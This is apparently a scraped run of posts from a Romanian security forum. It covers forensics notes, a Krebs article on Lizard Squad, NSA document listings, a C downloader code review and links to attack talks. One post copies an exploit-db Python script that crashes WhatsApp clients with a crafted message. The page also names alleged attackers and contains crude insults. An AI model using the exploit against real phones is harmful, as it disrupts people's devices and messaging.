occurred on a system but it needs context. A missing process executable in a prefetch file does not mean process hollowing occurred. However, a missing process executable along with suspicious file access during application start-up and an indication a system was compromised means something completely else. Sursa: Journey Into Incident Response: Prefetch File Meet Process Hollowing

Who’s in the Lizard Squad? The core members of a group calling itself “Lizard Squad” — which took responsibility for attacking Sony’s Playstation and Microsoft‘s Xbox networks and knocking them offline for Christmas Day — want very much to be recognized for their actions. So, here’s a closer look at two young men who appear to be anxious to let the world know they are closely connected to the attacks. Kim Dotcom offers Lizard Squad members vouchers to stop the attack. The LizardSquad reportedly only called off their attacks after MegaUpload founder Kim Dotcom offered the group some 3,000 vouchers for his content hosting service. The vouchers sell for $99 apiece, meaning that Dotcom effectively offered the group the equivalent of $300,000 to stop their seige. On Dec. 26, BBC Radio with two young men who claimed to have been involved in the attacks. The two were referred to in the interview only as “Member 1? and “Member 2,” but both have each given on-camera interviews previously (more on that in a bit). The BBC’s Stephen Nolan asks Member 2, “It was nothing really to do with exposing a company for the greater good? You took the money and you ran, didn’t you, like a petty criminal?” M2: “Well, we didn’t really expect money from it in the first place. If we really cared about money we could have used the twitter accounts that we generated over 50,000 followers within 24-48 hours we could have used that for monetization, you know? We could have easily sent out a couple of linked….profiles or whatever where each click could gain us three to six cents.” Vinnie Omari, speaking to Sky News on Dec. 27. Nolan: “So why did you take the vouchers, then? M2: “It was just an offer. It’s hard to say. It was just a one-time thing. It’s $300,000 worth of vouchers.” Nolan: “Dirty, grubby, greed?” M2: “Well, that’s what happens, I’m afraid. That’s what it is like in the security business.” Member2, the guy that does most of the talking in the BBC interview, appears to be a 22-year-old from the United Kingdom named Vinnie Omari. Sky News ran an on-camera interview with Omari on Dec. 27, quoting him as a “computer security analyst” as he talks about the attacks by LizardSquad and their supposed feud with a rival hacker gang. The same voice can be heard on from Vinnie’s Youtube channel, in which he enthuses about hackforums[dot]net, a forum that is overrun with teenage wannabe hackers who spend most of their time trying to impress, attack or steal from one another. In a thread on Hackforums that Omari began on Dec. 26 using the Hackforums username “Vinnie” Omari says he’s been given vouchers from MegaUpload, and wonders if the Hackforums rules allow him to sell the vouchers on the forum. Hackforums user “Vinnie” asks about selling MegaUpload vouchers. Member 1 from the BBC interview also gave , although he does not give his real name; he offers a pseudonym — “Ryan.” According to multiple sources, this individual is a Finnish teenager named Julius Kivimäki who has used a variety of online monikers, including “Zee,” “Zeekill” and “Ry|an.” Julius “Ryan” Kivimaki talks to Sky News about the Lizardsquad attacks. Sources say Kivimäki was arrested by Helsinki police in October 2013 on suspicion of running a huge botnet consisting of more than 60,000 hacked Web servers around the world. Local Finnish media reported on the youth’s arrest, although they didn’t name him. Kivimäki, 16, also was reportedly found in possession of more than 3,000 stolen credit cards. Both of these individuals may in fact be guilty of nothing more than taking credit for other peoples’ crimes. But I hope it’s clear to the media that the Lizard Squad is not some sophisticated hacker group. The Lizard Squad’s monocle-wearing mascot shows them to be little more than a group of fame-seeking kids who desperately aspire to be like LulzSec, a similarly minded gang whose core members are all now in jail. With any luck, these kids will get their wish soon enough. Sursa: Who’s in the Lizard Squad? — Krebs on Security

[h=2]NSA Documents: Attacks on VPN, SSL, TLS, SSH, Tor[/h] Attacks against Crypto Guide for Analysts on how to use the PRISM Skype Collection GCHQ Briefing on the BULLRUN Program GCHQ Presentation on the BULLRUN Programs Decryption Capabilities NSA LONGHAUL program for end-to-end attack orchestration and key recovery service BLUESNORT program on "Net Defense" from Encrypted Communications Presentation from the SIGDEV Conference 2012 explaining which encryption protocols and techniques can be attacked and which not NSA program SCARLETFEVER explaining how attacks on encrypted connections are orchestrated Description of VOIP Telephony Encryption methods and cryptanalytic and other ways to attack Attacks on SSL/TLS NSA Experiment for massive SSL/TLS Decryption Canadian Document from CES on TLS Trends Details on how NSA uses the SCARLETFEVER program to attack Scure Sockets Layer (SSL)/Transport Layer Scurity (TLS) Analysis from SSL/TLS Connections through GCHQ in the flying pig database Attacks on VPN NSA High Level Description on TURMOIL / APEX Programs on Attacking VPN Explanation of the GALLANTWAVE that decrypts VPN Traffic within LONGHAUL Intro to the VPN Exploitation Process mentioning the protocols attacked - PPTP, IPSEC, SSL, SSH) Analytic Challenges from Active-Passive Integration when NSA attacks IPSEC VPNs Overview of the capabilities of the VALIANTSURF program MALIBU Architecture Overview to exploit VPN Communication POISENNUT Virtual Private Network Attack Orchestrator (VAO) NSA Presentation on the development of Attacks on VPN NSA Presentation on the Analysis and Contextualisation of data from VPN Description of existing projects on VPN decryption Explanation of the Transform Engine Emulator when attacking VPN Explanation of the POISENNUT Product and its role when attacking VPN Explanation of the TURMOIL GALLANTWAVE Program and its role when attacking VPN Processing of data from exploited VPN in the TURMOIL program Decryption of VPN Connections within the VALIANTSURF program Description on the processing of VPN data packets within the TURMOIL program Explanation on the SPIN9 program on end-to-end attacks on VPN Deanonymizing Explanation of a potential technique to deanonymise users of the TOR network Analytics on security of TOR hidden services Overview on Internet Anonymization Services on how they work TOR deanonymisation research TOR Overview of Existing Techniques A potential technique to deanonymise users of the TOR network Cryptanalytics General Description how NSA handles encrypted traffic Intercept with PGP encrypted message Classification Guide for Cryptanalysis Procedural GCHQ Document on how analysts are to handle encrypted traffic NSA / GCHQ Crypt Discovery Joint Collaboration Activity NSA Cryptographic Modernization (CryptoMod) Classification Guide "National Information Assurance Research Laboratory (NIARL)": Newsletter, Keyword TUNDRA What Your Mother Never Told You About the development of Signal Intelligence Intercept with OTR encrypted chat Sursa: NSA-Documents: Attacks on VPN, SSL, TLS, SSH, Tor - SPIEGEL ONLINE

error = connect(conn, (struct sockaddr *) &server, sizeof (struct sockaddr)); if (error == -1) return conn; Cred ca vrei sa zici: error = connect(conn, (struct sockaddr *) &server, sizeof (struct sockaddr)); if (error == -1) { closesocket(conn); return NULL; } E urat si incalcit codul. Ia linie cu linie si incearca sa intelegei ce se intampla acolo. Uite ce facusem eu acum mult timp... /* Nume: FileDownloader v0.1 Autor: Ionut Popescu Data: 12-13 Noiembrie 2011 Descriere: Descarca un fisier de la URL-ul specificat in locatia specificata Probleme: Nu stie de UTF-8, 404 Not Found, HTTP Location, Moved Permanently si alte lucruri */ #ifdef _MSC_VER #pragma comment(lib, "ws2_32.lib") #pragma warning(disable: 4996) #undef UNICODE #endif #define WIN32_LEAN_AND_MEAN /* Headere necesare */ #include <stdio.h> #include <stdlib.h> #include <winsock2.h> /* Prototipurile functiilor */ void InitWinsock(); char *GetServer(const char *url); char *GetIP(const char *server); char *BuildHTTPRequest(const char *url); int DownloadFile(const char *url, const char *filename); /* Functia descarca un fisier de la adresa specificata */ int DownloadFile(const char *url, const char *file_name) { char *request = NULL, *server = NULL, *server_ip = NULL, recv_buffer[4096]; SOCKET sock; struct sockaddr_in conn; int eroare_connect = -1, rez_send = -1, rez_recv = -1, bytes = 0, first_packet = 1; HANDLE hFisier = NULL; DWORD written; /* Cream request-ul, si memoram IP-ul serverului */ request = BuildHTTPRequest(url); server = GetServer(url); server_ip = GetIP(server); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); /* Verificam crearea socketului */ if(sock == INVALID_SOCKET) { puts("Eroare, nu s-a putut crea socketul"); if(WSAGetLastError() == WSAENETDOWN) puts("- Problema cu conexiunea la internet"); exit(EXIT_FAILURE); } /* Facem "setarile" necesare si ne conectam la server */ conn.sin_family = AF_INET; conn.sin_port = htons(80); conn.sin_addr.s_addr = inet_addr(server_ip); eroare_connect = connect(sock, (struct sockaddr *)&conn, sizeof(conn)); /* Verificam daca s-a realizat conexiunea */ if(eroare_connect == SOCKET_ERROR) { puts("Eroare la conectarea la server"); eroare_connect = WSAGetLastError(); switch(eroare_connect) { case WSAENETDOWN: puts("- Problema cu conexiunea la internet"); break; case WSAEADDRNOTAVAIL: puts("- Adresa nu este valida"); break; case WSAECONNREFUSED: puts("- Conexiunea a fost refuzata"); break; case WSAENETUNREACH: puts("- Nu s-a putut realiza conexiunea la retea"); break; case WSAEHOSTUNREACH: puts("- Nu s-a putut realiza conexiunea la server"); break; case WSAETIMEDOUT: puts("- Conexiunea a esuat dupa timpul limita"); break; default: printf("- A intervenit eroarea cu codul: %d\n", eroare_connect); } closesocket(sock); exit(EXIT_FAILURE); } /* Trimitem request-ul */ rez_send = send(sock, request, strlen(request), 0); if(rez_send == SOCKET_ERROR) { puts("Eroare la trimiterea request-ului"); rez_send = WSAGetLastError(); switch(rez_send) { case WSAENETDOWN: puts("- Problema cu conexiunea la internet"); break; case WSAECONNABORTED: puts("- Conexiunea a fost terminata dupa timpul limita"); break; case WSAECONNRESET: puts("- Conexiunea a fost resetata de server"); break; case WSAETIMEDOUT: puts("- Conexiune inchisa din cauza retelei sau serverului respectiv"); break; default: printf("- A intervenit eroarea cu codul: %d\n", rez_send); } } /* Nu mai trimitem date */ shutdown(sock, SD_SEND); /* Citim raspunsul de la server */ do { bytes = recv(sock, recv_buffer, 4096, 0); if(bytes > 0) { /* Daca e primul pachet, separam datele de headerele HTTP */ if(first_packet == 1) { char delim[5] = {0}; int pos_buf = 0; /* Prevenim eventuale probleme */ if(strlen(recv_buffer) < 4) continue; sprintf(delim, "\r\n\r\n"); while(pos_buf < 1024 && recv_buffer[pos_buf+4] && (strncmp(&recv_buffer[pos_buf], delim, 4) != 0)) pos_buf++; /* Scriem in fisier */ hFisier = CreateFile(file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFisier != INVALID_HANDLE_VALUE) { WriteFile(hFisier, &recv_buffer[pos_buf + 4], bytes - pos_buf - 4, &written, NULL); } else { puts("Eroare, nu s-a poate crea fisierul"); break; } first_packet = 0; } else WriteFile(hFisier, recv_buffer, bytes, &written, NULL); } else if(bytes == 0) { puts("Fisierul a fost descarcat cu succes!"); CloseHandle(hFisier); } /* Eroare la citirea datelor */ else { puts("Eroare la citirea datelor de la server"); rez_recv = WSAGetLastError(); switch(rez_recv) { case WSAENETDOWN: puts("- Problema cu conexiunea la internet"); break; case WSAECONNABORTED: puts("- Conexiunea a fost terminata dupa timpul limita"); break; case WSAECONNRESET: puts("- Conexiunea a fost resetata de server"); break; case WSAETIMEDOUT: puts("- Conexiune inchisa din cauza retelei sau serverului respectiv"); break; default: printf("- A intervenit eroarea cu codul: %d\n", eroare_connect); } } } while(bytes > 0); closesocket(sock); return 1; } /* Functia returneaza IP-ul unui server */ char* GetIP(const char *server) { struct hostent *host; struct in_addr address; host = gethostbyname(server); /* Verificam rezultatul */ if(host == NULL) { int eroare_ip = -1; puts("A intervenit o eroare la preluarea IP-ului serverului"); switch(eroare_ip = WSAGetLastError()) { case WSAHOST_NOT_FOUND: puts("- Serverul nu a fost gasit"); break; case WSANO_DATA: puts("- Nu a fost gasit niciun IP pentru server"); break; default: printf("- A intervenit eroarea cu codul: %d\n", eroare_ip); } exit(EXIT_FAILURE); } /* Verificare si conversie */ if(host->h_addr_list[0] == 0) { puts("Eroare, nu s-a gasit niciun IP pentru server"); exit(EXIT_FAILURE); } /* Convertim reprezentarea*/ address.s_addr = *(u_long*)host->h_addr_list[0]; /* address = *(struct in_addr*)(host->h_addr_list[0]); */ /* Convertim adresa la sir de caractere si o returnam */ return inet_ntoa(address); } /* Functia construieste headerele HTTP necesare, memoram serverul in al doilea parametru */ char *BuildHTTPRequest(const char *url) { const char browser[] = "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"; char *request = NULL, *local_url = NULL, *host = NULL; char fileurl[1024]; /* Prevenim buffer oveflow */ if(strlen(url) > 1024) return NULL; host = GetServer(url); local_url = (char *)malloc(1024); /* Extragem si numele fisierului */ if(strncmp(url, "http://", 7) == 0) strcpy(local_url, url +7); else strcpy(local_url, url); strcpy(fileurl, local_url + strlen(host)); /* Alocam spatiu si cream headerul */ request = (char *)malloc(4096); sprintf(request, "GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\n\r\n", fileurl, host, browser); return request; } /* Functia returneaza serverul dintr-un URL */ char *GetServer(const char *url) { char *local_url = NULL, *host = NULL; int i = 0; /* Prevenim buffer oveflow */ if(strlen(url) >= 1024) return NULL; /* Extragem datele necesare pentru a crea headerul */ local_url = (char *)malloc(1024); if(strncmp(url, "http://", 7) == 0) strcpy(local_url, url +7); else strcpy(local_url, url); /* Copiem serverul in variabila host */ host = (char *)malloc(1024); while(local_url[i] && local_url[i] != '/') { host[i] = local_url[i]; i++; } host[i] = '\0'; return host; } /* Alocam resursele Winsock si verificam pentru potentiale erori */ void InitWinsock() { WSADATA wsaData; /* Initializare Winsock */ if(WSAStartup(MAKEWORD(2,2), &wsaData)) { int eroare_wsa = -1; puts("A intervenit o eroare la initializarea Winsock:"); switch(eroare_wsa = WSAGetLastError()) { case WSASYSNOTREADY: puts("- Problema cu conexiunea la Internet"); break; case WSAEPROCLIM : puts("- Problema cu resursele alocate de sistemul de operare"); break; default: printf("- A intervenit eroarea cu codul: %d\n\n", eroare_wsa); } exit(EXIT_FAILURE); } } /* Main-ul clasic */ int main() { char x; InitWinsock(); DownloadFile("http://www.digitalxx.ro/lista.txt", "Test.txt"); WSACleanup(); scanf("%c", &x); return 0; }

Citeste asta si scrie codul de la 0. O sa inveti multe lucruri utile. Link: Beej's Guide to Network Programming Da, problema e ca nu verifica niciun caz de eroare. conn = connectToServer((char*)server.c_str(), 80); Pune dupa un: if(conn == NULL) { // Caz de eroare, nu s-a putut conecta }

getHeaderLength e apelata cu parametru "NULL".

Cocalari vs Swag-eri. Lipsesc niste Yolo-eri...

Mami, un baiat rau m-a injurat ieri pe chat Futu-va-n gura de pizde. V-am injurat.

Practical EMV PIN interception and fraud detection Andrea Barisani <andrea@inversepath.com> Daniele Bianco <daniele@inversepath.com> What is EMV? EMV stands for Europay, MasterCard and VISA, the global standard for inter-operation of integrated circuit cards (IC cards or "chip cards") and IC card capable point of sale (POS) terminals and automated teller machines (ATMs), for authenticating credit and debit card transactions. IC card systems based on EMV are being phased in across the world, under names such as "IC Credit" and "Chip and PIN". Source: Wikipedia Download: http://dev.inversepath.com/download/emv/emv_2014.pdf

A practical attack against GPRS/EDGE/UMTS/HSPA mobile data communications David Perez JosePico Ithas beenprovedthatGSM isvulnerable to multiple attacks(roguebase station, cryptographic, SMS, OTA, etc.) •Rogue Base Station attacks have been demonstrated before against GSM, e.g.: –PRACTICAL CELLPHONE SPYING. Chris Paget. DEF CON 18 (July 2010) DEF CON® 18 Hacking Conference - Speakers Download: https://media.blackhat.com/bh-dc-11/Perez-Pico/BlackHat_DC_2011_Perez-Pico_Mobile_Attacks-Slides.pdf

[h=1]WhatsApp <= 2.11.476 - Remote Reboot/Crash App Android[/h] #!/usr/bin/python #-*- coding: utf-8 -* # Title: WhatsApp Remote Reboot/Crash App Android # Product: WhatsApp # Vendor Homepage: http://www.whatsapp.com # Vulnerable Version(s): 2.11.476 # Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4 # Date: 26/12/2014 # #RemoteExecution - www.remoteexecution.net # # Author Exploit: # Daniel Godoy @0xhielasangre <danielgodoy@gobiernofederal.com> # Credits: # Gonza Cabrera # # Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html # # Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android. # It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even # engaging in an interactive conversation over WhatsApp protocol # import argparse, sys, os, csv from Yowsup.Common.utilities import Utilities from Yowsup.Common.debugger import Debugger from Yowsup.Common.constants import Constants from Examples.CmdClient import WhatsappCmdClient from Examples.EchoClient import WhatsappEchoClient from Examples.ListenerClient import WhatsappListenerClient from Yowsup.Registration.v1.coderequest import WACodeRequest from Yowsup.Registration.v1.regrequest import WARegRequest from Yowsup.Registration.v1.existsrequest import WAExistsRequest from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2 from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2 from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2 from Yowsup.Contacts.contacts import WAContactsSyncRequest import threading,time, base64 DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" COUNTRIES_CSV = "countries.csv" DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" ######## Yowsup Configuration file ##################### # Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n # phone: Your full phone number including country code, without '+' or '00' # id: This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup # on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions # of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on # a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials # or want to register, you can leave this field blank or set it to some random text. # password: Password to use for login. You obtain this password when you register using Yowsup. ###################################################### MINE_CONFIG ="config" def getCredentials(config = DEFAULT_CONFIG): if os.path.isfile(config): f = open(config) phone = "" idx = "" pw = "" cc = "" try: for l in f: line = l.strip() if len(line) and line[0] not in ('#',';'): prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1) varname = prep[0].strip() val = prep[1].strip() if varname == "phone": phone = val elif varname == "id": idx = val elif varname =="password": pw =val elif varname == "cc": cc = val return (cc, phone, idx, pw); except: pass return 0 def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG ) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "#RemoteExecution? Sursa: http://www.exploit-db.com/exploits/35637/

[h=1] USBPcap - USB Packet capture for Windows (open-source USB Sniffer for Windows) [/h] Lydecker Black on 11:30 AM USBPcap is an open-source USB sniffer for Windows. USB Packet capture for Windows Tour Download USBPcap Sursa: USBPcap - USB Packet capture for Windows (open-source USB Sniffer for Windows) | KitPloit - PenTest Tools for your Security Arsenal!